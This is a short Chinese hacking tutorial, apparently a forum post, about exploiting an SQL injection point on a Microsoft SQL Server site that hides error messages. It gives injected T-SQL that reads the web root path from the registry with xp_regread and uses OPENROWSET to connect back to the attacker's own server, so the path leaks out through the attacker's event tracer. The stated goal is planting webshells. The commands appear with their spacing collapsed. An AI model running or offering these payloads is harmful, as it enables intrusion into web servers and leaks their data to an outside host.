得到SQL注入点,首先想到的是BACKUPWEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库
然后在对方机器上建立个表createtable[dbo].[fenggou]([cha8][char](255))--
在对方执行DECLARE@resultvarchar(255)execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots','/',@resultoutputinsertintofenggou(cha8)values('selecta.*FROMOPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'',''select*FROMpubs.dbo.authorswhereau_fname='''''+@result+''''''')ASa');--
这样fenggou这个表里就会有这样一条记录selecta.*FROMOPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码','select*FROMpubs.dbo.authorswhereau_fname=''D:WEB,,1''')ASa
不用说,''D:WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE@a1char(255)set@a1=(selectcha8FROMfenggou)exec(@a1);--
等于执行了selecta.*FROMOPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码','select*FROMpubs.dbo.authorswhereau_fname=''D:WEB,,1''')ASa
OK,这时你在你机器上SQL事件追踪器上就会显示select*FROMpubs.dbo.authorswhereau_fname='D:WEB,,1'
哇哈哈哈哈哈物理路径到手了写小马传大马吧~